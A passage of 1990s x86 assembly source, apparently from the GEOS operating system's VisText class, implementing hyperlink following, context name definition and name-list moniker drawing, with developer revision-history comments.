PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - ptr to VisTextFollowHyperlinkParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/10/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextFollowHyperlink proc far ; MSG_VIS_TEXT_FOLLOW_HYPERLINK ; ; Adjust the range params to the selection, if necessary ; clr bx ;bx <- no context call TA_GetTextRange CheckHack <(offset VTFHLP_range) eq 0> ; ; Get the type run at the start of the selection -- the link ; push ds, si mov bx, OFFSET_FOR_TYPE_RUNS movdw dxax, ss:[bp].VTFHLP_range.VTR_start ;dxax <- selection start ; ; Mimic VisTextGetType here, as that routine is used when ; sending a type change notification, which updates the ; follow hyperlink trigger enabled state. (This is not quite the ; same - it ignores insertion elements) ; call TSL_IsParagraphStart jc getRight cmpdw dxax, ss:[bp].VTFHLP_range.VTR_end jnz getRight ;don't use run to the left call FarGetRunForPositionLeft jmp getContext getRight: call FarGetRunForPosition getContext: ; ; Figure out the context the link refers to ; sub sp, (size VisTextType) mov bp, sp ;ss:bp <- ptr to ; VisTextType call GetElement mov dx, ss:[bp].VTT_hyperlinkName mov ax, ss:[bp].VTT_hyperlinkFile add sp, (size VisTextType) cmp ax, VIS_TEXT_CURRENT_FILE_TOKEN ;same file? jne quitUnlock ;branch if not same file cmp dx, VIS_TEXT_NIL_CONTEXT_TOKEN ;any link? je quitUnlock ;branch if no link ; ; Figure out the type token of the context ; call FindTypeForContextNoLock ;dx <- type run token call FarRunArrayUnlock pop ds, si ;*ds:si <- text object jnc quit ;branch if no range ; found ; ; Find the range of the type run(s) that the context covers ; push dx ;pass token sub sp, (size VisTextRange) mov bp, sp ;ss:bp <- ptr to ; VisTextRange call FindRangeForContext ; ; Set the selection to the extent of the runs ; mov ax, MSG_VIS_TEXT_SELECT_RANGE call ObjCallInstanceNoLock add sp, (size VisTextRange)+(size word) quit: ret quitUnlock: call FarRunArrayUnlock pop ds, si jmp quit VisTextFollowHyperlink endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindRangeForContext %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the range that a context token covers CALLED BY: VisTextFollowHyperlink() PASS: *ds:si - ss:bp - VisTextRange to fill in + word -- context token to find RETURN: ss:bp - VisTextRange that context covers DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/17/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindRangeForContext proc near uses ds, si, di, ax, bx, cx, dx .enter ; ; Initialize the range to nothing ; movdw ss:[bp].VTR_start, -1 movdw ss:[bp].VTR_end, 0 ; ; Lock the type run array and load the initial run ; call LockTypeRunArray ;ds:si <- ptr to 1st elemnt ;cx <- #elements at ds:si mov bx, ds:[si].TRAE_token mov ax, ds:[si].TRAE_position.WAAH_low clr dx mov dl, ds:[si].TRAE_position.WAAH_high clr di ;di <- no range found ; ; For each run array element, see if it matches ; runArrayLoop: cmp bx, ss:[bp][(size VisTextRange)] ;same context? jne differentContext ; ; See if the run is before our current start ; cmpdw dxax, ss:[bp].VTR_start ;before current start? jae afterStart ;branch if after ; current start movdw ss:[bp].VTR_start, dxax ;set new start afterStart: cmpdw dxax, TEXT_ADDRESS_PAST_END ;last element? je setEnd ;branch if last element dec di ;di <- range found jmp nextRun ; ; See if the start of this run (ie. the end of the previous) ; is after our current end if it was the right context ; differentContext: tst di ;was previous context? jz nextRun ;branch if not cmpdw dxax, ss:[bp].VTR_end ;after current end? jbe beforeEnd ;branch if before ; current end setEnd: movdw ss:[bp].VTR_end, dxax ;set new end beforeEnd: clr di ;di <- no range found ; ; Advance to the next run ; nextRun: ;; cmp cx, 1 ;last element? ;; je endArrayLoop ;branch if no ; more elements call FarRunArrayNext ;cx <- #elts at ds:si ; ; If there are more elements, and this element is not the last, ; continue looping. ; jcxz checkEnd cmp ds:[si].TRAE_position.WAAH_high, TEXT_ADDRESS_PAST_END_HIGH jne runArrayLoop checkEnd: ; ; We've finished the search. If, at this point, the start is ; past the end, then the context run must be the last run - ; i.e. the context range stretches from its start all the way ; to the end of the text. -jenny 8/24/94 ; movdw dxax, ss:[bp].VTR_start cmpdw dxax, ss:[bp].VTR_end jbe endArrayLoop movdw ss:[bp].VTR_end, TEXT_ADDRESS_PAST_END endArrayLoop: ; ; Unlock the run array ; call FarRunArrayUnlock .leave ret FindRangeForContext endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextDefineName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Define a new context CALLED BY: MSG_VIS_TEXT_DEFINE_NAME PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - ptr to VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 4/22/92 Initial version JM 3/18/94 added error checking after call to ContextFileNameToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextDefineName proc far ; MSG_VIS_TEXT_DEFINE_NAME ; ; Get the name and make sure it is unique ; call GetNameCheckUnique jnc quit ;branch if name in use ; ; Initial set up ; push ds, si, bx, cx call LockNameArray call GetNameParams call ContextFileNameToToken ;dx <- token for file, ;if any EC < ERROR_Z VIS_TEXT_NAME_NOT_FOUND_FOR_INDEX ;> call UnlockNameArray pop ds, si, bx, cx push bp clr ax push ax ;pass VTND_helpText push ax push dx ;pass file name token push {word}ss:[bp].VTNCP_data.VTND_type ;pass type CheckHack <(size VTNCP_data) eq 8> ; ; Define the name ; sub sp, (size VisTextAddNameParams)-(size VisTextNameData) mov bp, sp ;ss:bp <- ptr to params mov ss:[bp].VTANP_name.segment, es ;pass ptr to string mov ss:[bp].VTANP_name.offset, di mov ss:[bp].VTANP_flags, 0 ;pass NameArrayAddFlags mov ss:[bp].VTANP_size, cx ;pass size of string mov ax, MSG_VIS_TEXT_ADD_NAME ;ax <- name token call ObjCallInstanceNoLock ;call ourselves add sp, (size VisTextAddNameParams) pop bp ; ; Done with the passed string ; call MemFree ; ; Send a notification out that stuff has changed ; push ax call GetNameParams ; cl <- VisTextNameType ; dx <- file index ; (if VTNT_CONTEXT) pop ax call TokenToName ; ax <- name index mov ch, VTNCT_ADD call SendNameNotification ; ; Mark the object as dirty ; call TextMarkUserModified quit: ret VisTextDefineName endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextUpdateNameList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update a name list CALLED BY: MSG_VIS_TEXT_UPDATE_NAME_LIST PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message dx - size of VisTextNameCommonParams (if called remotely) ss:bp - VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 4/28/92 Initial version JM 3/18/94 added noTokenFound to avoid synchronization related crashes (bug 6007 related) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextUpdateNameList proc far ; MSG_VIS_TEXT_UPDATE_NAME_LIST ; ; Get the name array ; call LockNameArray push bx ; ; Figure out how many contexts/files we have ; call GetNameParams call ContextFileNameToToken ;dx <- token ;of file jz noTokenFound ; Item was ; probably ; deleted ; already. mov bx, SEGMENT_CS mov di, offset VTCountNamesCallback ;bx:di <- ; callback call ElementArrayGetUsedCount ; ; If we are showing files, add a fake name for the current file. ; cmp cl, VTNT_FILE ;showing files? jne notFiles ;branch if not files inc ax ;ax <- one more file notFiles: ; ; Done with name array ; pop bx call UnlockNameArray ; ; Tell the list how many contexts/files we have. ; This will force it to update the monikers. ; mov cx, ax ;cx <- # of items mov si, ss:[bp].VTNCP_object.chunk mov bx, ss:[bp].VTNCP_object.handle mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE mov di, mask MF_CALL GOTO ObjMessage noTokenFound: pop bx call UnlockNameArray ret VisTextUpdateNameList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextGetNameListMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get/set the moniker for a name list CALLED BY: MSG_VIS_TEXT_GET_NAME_LIST_MONIKER PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - ptr to VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 4/29/92 Initial version JM 3/18/94 added "jz done" to help with synchronization related crashes jenny 7/11/94 Changed to break out Lock/UnlockNameArrayString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextGetNameListMoniker proc far ; MSG_VIS_TEXT_GET_NAME_LIST_MONIKER ; ; Save ptr to passed params before we mess up bp. ; mov di, bp ; ss:di <- VisTextNameCommonParams uses cx, dx, bp .warn -unref_local nameEltBuf local MAX_VIS_TEXT_NAME_ARRAY_ELT_SIZE dup(TCHAR) .warn @unref_local .enter ; ; Lock name array and get pointer to string for passed name index. ; call LockNameArrayString ; cx:dx <- ptr to string jz done ; ; Set the Nth moniker ; push bx, bp, di movdw bxsi, ss:[di].VTNCP_object mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT mov bp, ss:[di].VTNCP_index mov di, mask MF_CALL call ObjMessage or bx, 1 ; clear zero flag pop bx, bp, di done: ; ; Clean up. ; call UnlockNameArrayString .leave ret VisTextGetNameListMoniker endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextGetNameListMonikerFrame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get/set the moniker for a name list in color CALLED BY: MSG_VIS_TEXT_GET_NAME_LIST_MONIKER_FRAME PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - ptr to VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextGetNameListMonikerFrame proc far ;MSG_VIS_TEXT_GET_NAME_LIST_MONIKER_FRAME ; ; Save ptr to passed params before we mess up bp. ; mov di, bp ; ss:di <- VisTextNameCommonParams uses cx, dx, bp .warn -unref_local nameEltBuf local MAX_VIS_TEXT_NAME_ARRAY_ELT_SIZE dup(TCHAR) .warn @unref_local .enter ; ; Lock name array and get pointer to string for passed name index. ; call LockNameArrayString ; cx:dx <- string ; ax <- token ; bx <- value for unlock jz done ; no string? ; ; Set up the data to create either a text or a gstring ; moniker, whose characteristics depend on whether the token ; appertains to a file or a context, and on which ; VisTextNameCommonFlags were passed. ; push bx, bp ; save unlock value and locals call ChooseMonikerType ; al <- VisMonikerDataType ; ah <- enable/disable flag call SetUpMonikerData ; bx:si <- ptr to string ; OR ; ^lbx:si <- gstring data ; cx <- gstring width ; dx <- gstring height ; ; Send the moniker off to the passed object using the passed message. ; call SendMoniker pop bx, bp ; bx <- value for unlock ; bp <- locals done: ; ; Clean up. ; call UnlockNameArrayString .leave ret VisTextGetNameListMonikerFrame endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LockNameArrayString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock a name string. CALLED BY: INTERNAL VisTextGetNameListMoniker VisTextGetNameListMonikerFrame PASS: *ds:si = VisText instance data ss:di = ptr to VisTextNameCommonParams ss:bp = ptr to inherited stack frame RETURN: zero flag set if no string found ax = name token bx = value to pass to UnlockNameArray cx:dx = string DESTROYED: nothing SIDE EFFECTS: Locks name array and either puts string on stack or, if dealing with current file, locks the TextTypeStrings resource. Caller must clean up when done with string by calling UnlockNameArrayString. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LockNameArrayString proc near uses ds,si nameEltBuf local MAX_VIS_TEXT_NAME_ARRAY_ELT_SIZE dup(TCHAR) .enter inherit near ; ; Set up to find our data on the stack. ; lea dx, ss:[nameEltBuf] xchg bp, di ; ss:bp <- VisTextNameCommonParams ; di <- saved bp ; ; Get the name array. ; call LockNameArray ; *ds:si <- name array ; bx <- val for unlock push bx ; ; Map the Nth index to the appropriate name token. If there's ; no mapping, the name has probably been deleted from the name ; array, in which case the list will be updated later - the ; passed index was just out of date. ; push dx ; save buffer offset call GetNameParams call NameToToken ; ax <- token pop dx jz done ; no mapping? ; ; Find the name string in the name array. The string for the ; current file is not in the array and must be handled separately. ; jnc isCurFile push ax ; save token mov cx, ss ; cx:dx <- ptr to buffer call ChunkArrayGetElement ; get the name ; ; NULL terminate the name. ; movdw dssi, cxdx ; ds:si <- ptr to buffer add si, ax ; ds:si <- ptr to end of buffer mov {TCHAR}ds:[si], 0 add dx, (size VisTextNameArrayElement) ; cx:dx <- ptr to string ; zero flag clear pop ax ; ax <- token done: pop bx ; bx <- val for unlock xchg bp, di ; restore regs .leave ret isCurFile: ; ; Lock the current file string. ; mov dx, offset currentFileString ; dx <- string to lock call LockNameMessage or bx, 1 ; clear zero flag jmp done LockNameArrayString endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UnlockNameArrayString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Clean up after done with name array string. CALLED BY: INTERNAL VisTextGetNameListMoniker VisTextGetNameListMonikerFrame PASS: zero flag set if LockNameArrayString found no string bx = value to pass to UnlockNameArray ss:di = ptr to VisTextNameCommonParams RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UnlockNameArrayString proc near ; ; If we found no string, there's nothing to clean up. ; jz done ; ; If we've been dealing with the current file name, we have to ; unlock its string specially. ; cmp ss:[di].VTNCP_data.VTND_type, VTNT_FILE jne done cmp ss:[di].VTNCP_index, 0 je isCurFile done: call UnlockNameArray ret isCurFile: ; ; Unlock the current file string. ; call UnlockNameMessage jmp done UnlockNameArrayString endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChooseMonikerType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get moniker type based on whether passed context has been associated with a text range. CALLED BY: INTERNAL VisTextGetNameListMonikerFrame PASS: *ds:si = VisText instance data ss:di = ptr to VisTextNameCommonParams ax = name token RETURN: al = VisMonikerDataType (VMDT_TEXT or VMDT_GSTRING) ah = BooleanByte (true to enable moniker) DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/11/94 Initial version jenny 10/14/94 Moved flag check in here and added disable flag %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChooseMonikerType proc near uses cx,dx .enter inherit VisTextGetNameListMonikerFrame ; ; If we needn't do anything special, just use an enabled text moniker. ; mov_tr bx, ax ; bx <- saved token mov al, VMDT_TEXT mov ah, BB_TRUE ; ah <- enabled test ss:[di].VTNCP_flags, mask VTNCF_COLOR_MONIKERS_FOR_UNSET_CONTEXTS or \ mask VTNCF_DISABLE_MONIKERS_FOR_SET_CONTEXTS jz done ; ; If the name is a file name, use an enabled text moniker. ; push bx ; save token mov_tr bx, ax ; bl, bh <- text, enabled mov bp, di call GetNameParams ; cl <- VisTextNameType ; dx <- file index ; if cl = VTNT_CONTEXT mov_tr ax, bx ; al, ah <- text, enabled cmp cl, VTNT_FILE mov bx, dx ; bx <- file index pop dx ; dx <- token je done ; ; It's a context name. Either we want to color it if it's ; unset, or we want to disable it if it's set, or both. ; (Otherwise we wouldn't have reached this code). Current ; potential return values: al = VMDT_TEXT, ah = BB_TRUE (enabled). ; test ss:[di].VTNCP_flags, mask VTNCF_COLOR_MONIKERS_FOR_UNSET_CONTEXTS jz findType mov al, VMDT_GSTRING tst bx jnz done findType: call FindTypeForContext ; carry <- set if context set jnc done ; ; The context is set, so we'll use a text moniker. Do we want ; to disable it? ; mov al, VMDT_TEXT test ss:[di].VTNCP_flags, mask VTNCF_DISABLE_MONIKERS_FOR_SET_CONTEXTS jz done mov ah, BB_FALSE ; ah <- disable done: .leave ret ChooseMonikerType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindTypeForContext %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock/unlock type run array around check for whether context is set. CALLED BY: INTERNAL ChooseMonikerType PASS: *ds:si = VisText instance data bx = file index dx = context token RETURN: carry set if context has been set dx = run token for context DESTROYED: bx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/27/94 Broke out of ChooseMonikerType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindTypeForContext proc near uses ds, si, di .enter ; ; Only if the context is in the current file can we check whether ; it's set. ; tst bx jnz done ; ; It's in the current file. Has it been applied to any text? ; call LockTypeRunArray call FindTypeForContextNoLock call FarRunArrayUnlock done: .leave ret FindTypeForContext endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindTypeForContextNoLock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find type run token for passed context. CALLED BY: INTERNAL FindTypeForContext VisTextFollowHyperlink PASS: ds:si = ptr to first element in locked type run array dx = name token for context RETURN: carry set if context has been set dx = run token for context DESTROYED: di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/28/94 Broke out of ChooseMonikerType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindTypeForContextNoLock proc near uses ds .enter ; ; The type run array is already locked. Lock element array and ; find type, if any, for context. ; call FarElementArrayLock push bx mov bx, cs mov di, offset FindTypeForContextCallback call ChunkArrayEnum ; ; Unlock element array. ; pop bx call FarElementArrayUnlock .leave ret FindTypeForContextNoLock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindTypeForContextCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the type run for a context CALLED BY: INTERNAL FindTypeForContextNoLock via ChunkArrayEnum() PASS: ds:di = current element (VisTextType) dx = name token of context to match RETURN: carry = set to abort if type run found for context dx = run token of found type run DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/14/92 Initial version jenny 10/04/94 Make sure element isn't free %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindTypeForContextCallback proc far uses ax .enter ; ; See if this type element contains a matching context. ; cmp dx, ds:[di].VTT_context clc ; carry <- don't abort jne done ; ; It does. But is it a current type element or a defunct one hanging ; around the free list waiting to be recycled? ; cmp ds:[di].REH_refCount.WAAH_high, EA_FREE_ELEMENT clc ; carry <- don't abort je done ; ; Got it. ; call ChunkArrayPtrToElement mov dx, ax ; dx <- element # stc ; carry <- abort done: .leave ret FindTypeForContextCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetUpMonikerData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make a gstring from a text string and a color for the text. CALLED BY: INTERNAL VisTextGetNameListMonikerFrame PASS: cx:dx = text string al = VisMonikerDataType (VMDT_TEXT or VMDT_GSTRING) RETURN: if passed al = VMDT_TEXT bx:si = text string else ^lbx:si = gstring data cx = gstring width dx = gstring height DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetUpMonikerData proc near uses ax, di .enter ; ; If we're using text, all we have to do is set up the string ; pointer right. ; movdw bxsi, cxdx ; bx:si <- string cmp al, VMDT_TEXT je done ; ; We want a gstring. Allocate a chunk and create one. ; push ax, cx ; save passed args mov ax, LMEM_TYPE_GENERAL mov cx, (size LMemBlockHeader) call MemAllocLMem ; bx <- handle mov cl, GST_CHUNK call GrCreateGString ; di <- gstate handle ; si <- chunk pop ax, cx ; restore args pushdw bxsi ; save gstring data ; ; Fill it up with our moniker text. ; call DrawMonikerTextToGString ; ; Find out the height and width of the gstring. ; mov cx, NAME_ARRAY_MAX_NAME_SIZE call GrTextWidth ; dx <- width push dx mov si, GFMI_HEIGHT or GFMI_ROUNDED call GrFontMetrics ; dx <- height push dx ; ; End the gstring and get rid of it, leaving the data in the ; lmem chunk. ; call GrEndGString mov_tr si, di ; si <- gstate handle clr di mov dl, GSKT_LEAVE_DATA call GrDestroyGString pop dx ; dx <- height pop cx ; cx <- width popdw bxsi ; ^lbx:si <- data done: .leave ret SetUpMonikerData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawMonikerTextToGString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set some characteristics for a gstring and draw text to it. CALLED BY: INTERNAL SetUpMonikerData PASS: cx:dx = text string di = gstate handle RETURN: nothing DESTROYED: ax, bx, cx, ds, si SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 10/13/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawMonikerTextToGString proc near ; ; Put the string ptr where we want it before trashing cx and dx. ; movdw dssi, cxdx ; ds:si <- string ; ; We're using a gstring for this moniker in order to make it ; stand out from text monikers in the same list. What we do ; to make this moniker conspicuous depends on the display. ; mov ax, MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME call GenCallApplication ; ah <- DisplayType andnf ah, mask DT_DISP_CLASS ; ; If the display can show light green, that's what we use. ; cmp ah, DC_COLOR_4 jb blackAndWhite mov ah, CF_INDEX mov al, C_LIGHT_GREEN call GrSetTextColor drawText: ; ; Draw the passed text string. ; clr ax ; x and y positions mov bx, ax ; are 0 mov cx, ax ; string is null-terminated call GrDrawText ret blackAndWhite: ; ; For black and white displays, we make the draw mode XOR so ; the moniker will be visible when selected. ; mov al, MM_XOR call GrSetMixMode ; ; Also, we want italics, since we can't use color, to ; distinguish this moniker from those that are just plain text. ; The default font doesn't allow italics, so we set the font first. ; clr ax mov dx, 12 ; dx.ah <- point size 12 mov cx, FID_DTC_URW_ROMAN call GrSetFont mov ax, mask TS_ITALIC ; al <- set italic ; ah <- reset nothing call GrSetTextStyle jmp drawText DrawMonikerTextToGString endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send a moniker to the passed object. CALLED BY: INTERNAL VisTextGetNameListMonikerFrame PASS: ss:di = ptr to VisTextNameCommonParams ah = BooleanByte (true to enable moniker) al = VisMonikerDataType (VMDT_TEXT or VMDT_GSTRING) if al = VMDT_TEXT bx:si = ptr to text string else ^lbx:si = gstring data for moniker cx = width of gstring dx = height of gstring RETURN: nothing DESTROYED: ax, bx, cx, dx, di, si, bp SIDE EFFECTS: Frees gstring data block when done with data. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/11/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendMoniker proc near uses di .enter ; ; Save the data type and the gstring block handle, if such it is. ; push ax, bx ; ; Set up the stack frame for replacing the moniker. ; Start with the information dependent on whether the data is ; a gstring or a text string. ; sub sp, (size ReplaceItemMonikerFrame) mov bp, sp mov ss:[bp].RIMF_sourceType, VMST_FPTR cmp al, VMDT_TEXT je finishUp mov ss:[bp].RIMF_sourceType, VMST_OPTR mov ss:[bp].RIMF_width, cx mov ss:[bp].RIMF_height, dx finishUp: ; ; Add the information not dependent on the data type. ; movdw ss:[bp].RIMF_source, bxsi mov ss:[bp].RIMF_dataType, al mov_tr bx, ax ; bh <- enable/disable flag clr ax mov ss:[bp].RIMF_length, ax cmp bh, BB_TRUE ; enabled? je gotFlags ; pass clear flags if so mov ax, mask RIMF_NOT_ENABLED gotFlags: mov ss:[bp].RIMF_itemFlags, ax mov ax, ss:[di].VTNCP_index mov ss:[bp].RIMF_item, ax ; ; Send the message to replace the thing. ; movdw bxsi, ss:[di].VTNCP_object mov ax, ss:[di].VTNCP_message mov di, mask MF_CALL or mask MF_STACK mov dx, (size ReplaceItemMonikerFrame) call ObjMessage add sp, (size ReplaceItemMonikerFrame) ; ; If we used a gstring, free its data block. ; pop ax, bx cmp al, VMDT_GSTRING jne done call MemFree done: .leave ret SendMoniker endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextGetNameListNameType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the type for a name in a context list CALLED BY: MSG_VIS_TEXT_GET_NAME_LIST_NAME_TYPE PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - ptr to VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO 